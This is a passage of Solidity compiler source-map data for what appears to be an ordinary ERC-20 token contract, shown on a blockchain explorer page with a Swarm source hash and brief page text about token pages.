:0;;::::1;::::0;:18;;;;;21580:14;;-1:-1:-1;21626:18:0;21680:39:::1;::::0;21626:18;;;;21680:22:::1;:39::i;:::-;-1:-1:-1::0;;;;;21659:18:0;::::1;:9;:18:::0;;;::::1;::::0;;;;;;:60;;;;21758:21;;;;:33:::1;::::0;21784:6;21758:25:::1;:33::i;:::-;21734:9;:21:::0;;;::::1;::::0;;:57;-1:-1:-1;;21542:3:0::1;;21498:305;;;;21421:389:::0;:::o;18889:87::-;18928:13;18961:7;18954:14;;;;;:::i;19310:175::-;19396:4;19413:42;17226:10;19437:9;19448:6;19413:9;:42::i;20480:344::-;-1:-1:-1;;;;;20582:19:0;;20574:68;;;;-1:-1:-1;;;20574:68:0;;4968:2:1;20574:68:0;;;4950:21:1;5007:2;4987:18;;;4980:30;5046:34;5026:18;;;5019:62;5117:6;5097:18;;;5090:34;5141:19;;20574:68:0;4766:400:1;20574:68:0;-1:-1:-1;;;;;20661:21:0;;20653:68;;;;-1:-1:-1;;;20653:68:0;;5373:2:1;20653:68:0;;;5355:21:1;5412:2;5392:18;;;5385:30;5451:34;5431:18;;;5424:62;5522:4;5502:18;;;5495:32;5544:19;;20653:68:0;5171:398:1;20653:68:0;-1:-1:-1;;;;;20732:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20784:32;;1235:25:1;;;20784:32:0;;1208:18:1;20784:32:0;;;;;;;;20480:344;;;:::o;20832:477::-;-1:-1:-1;;;;;20938:20:0;;20930:70;;;;-1:-1:-1;;;20930:70:0;;5776:2:1;20930:70:0;;;5758:21:1;5815:2;5795:18;;;5788:30;5854:34;5834:18;;;5827:62;5925:7;5905:18;;;5898:35;5950:19;;20930:70:0;5574:401:1;20930:70:0;-1:-1:-1;;;;;21019:23:0;;21011:71;;;;-1:-1:-1;;;21011:71:0;;6182:2:1;21011:71:0;;;6164:21:1;6221:2;6201:18;;;6194:30;6260:34;6240:18;;;6233:62;6331:5;6311:18;;;6304:33;6354:19;;21011:71:0;5980:399:1;21011:71:0;21113;21135:6;21113:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;21113:17:0;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;21093:17:0;;;:9;:17;;;;;;;;;;;:91;;;;21218:20;;;;;;;:32;;21243:6;21218:24;:32::i;:::-;-1:-1:-1;;;;;21195:20:0;;;:9;:20;;;;;;;;;;;;:55;;;;21266:35;1235:25:1;;;21195:20:0;;21266:35;;;;;;1208:18:1;21266:35:0;1089:177:1;14581:240:0;14701:7;14762:12;14754:6;;;;14746:29;;;;-1:-1:-1;;;14746:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;14797:5:0;;;14581:240::o;12302:98::-;12360:7;12387:5;12391:1;12387;:5;:::i;:::-;12380:12;12302:98;-1:-1:-1;;;12302:98:0:o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:196::-;505:20;;-1:-1:-1;;;;;554:54:1;;544:65;;534:93;;623:1;620;613:12;534:93;437:196;;;:::o;638:254::-;706:6;714;767:2;755:9;746:7;742:23;738:32;735:52;;;783:1;780;773:12;735:52;806:29;825:9;806:29;:::i;:::-;796:39;882:2;867:18;;;;854:32;;-1:-1:-1;;;638:254:1:o;1502:328::-;1579:6;1587;1595;1648:2;1636:9;1627:7;1623:23;1619:32;1616:52;;;1664:1;1661;1654:12;1616:52;1687:29;1706:9;1687:29;:::i;:::-;1677:39;;1735:38;1769:2;1758:9;1754:18;1735:38;:::i;:::-;1725:48;;1820:2;1809:9;1805:18;1792:32;1782:42;;1502:328;;;;;:::o;1835:184::-;-1:-1:-1;;;1884:1:1;1877:88;1984:4;1981:1;1974:15;2008:4;2005:1;1998:15;2024:1121;2108:6;2139:2;2182;2170:9;2161:7;2157:23;2153:32;2150:52;;;2198:1;2195;2188:12;2150:52;2238:9;2225:23;2267:18;2308:2;2300:6;2297:14;2294:34;;;2324:1;2321;2314:12;2294:34;2362:6;2351:9;2347:22;2337:32;;2407:7;2400:4;2396:2;2392:13;2388:27;2378:55;;2429:1;2426;2419:12;2378:55;2465:2;2452:16;2487:2;2483;2480:10;2477:36;;;2493:18;;:::i;:::-;2539:2;2536:1;2532:10;2571:2;2565:9;2634:2;2630:7;2625:2;2621;2617:11;2613:25;2605:6;2601:38;2689:6;2677:10;2674:22;2669:2;2657:10;2654:18;2651:46;2648:72;;;2700:18;;:::i;:::-;2736:2;2729:22;2786:18;;;2820:15;;;;-1:-1:-1;2862:11:1;;;2858:20;;;2890:19;;;2887:39;;;2922:1;2919;2912:12;2887:39;2946:11;;;;2966:148;2982:6;2977:3;2974:15;2966:148;;;3048:23;3067:3;3048:23;:::i;:::-;3036:36;;2999:12;;;;3092;;;;2966:148;;;3133:6;2024:1121;-1:-1:-1;;;;;;;;2024:1121:1:o;3339:186::-;3398:6;3451:2;3439:9;3430:7;3426:23;3422:32;3419:52;;;3467:1;3464;3457:12;3419:52;3490:29;3509:9;3490:29;:::i;3530:260::-;3598:6;3606;3659:2;3647:9;3638:7;3634:23;3630:32;3627:52;;;3675:1;3672;3665:12;3627:52;3698:29;3717:9;3698:29;:::i;:::-;3688:39;;3746:38;3780:2;3769:9;3765:18;3746:38;:::i;:::-;3736:48;;3530:260;;;;;:::o;3795:437::-;3874:1;3870:12;;;;3917;;;3938:61;;3992:4;3984:6;3980:17;3970:27;;3938:61;4045:2;4037:6;4034:14;4014:18;4011:38;4008:218;;-1:-1:-1;;;4079:1:1;4072:88;4183:4;4180:1;4173:15;4211:4;4208:1;4201:15;4008:218;;3795:437;;;:::o;4577:184::-;-1:-1:-1;;;4626:1:1;4619:88;4726:4;4723:1;4716:15;4750:4;4747:1;4740:15;6384:279;6449:9;;;6470:10;;;6467:190;;;-1:-1:-1;;;6510:1:1;6503:88;6614:4;6611:1;6604:15;6642:4;6639:1;6632:15
Swarm Source
ipfs://308590ee020a8510812d63fa38220ffdcbde3171d7cb85698f6fb7381d2bc8c3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.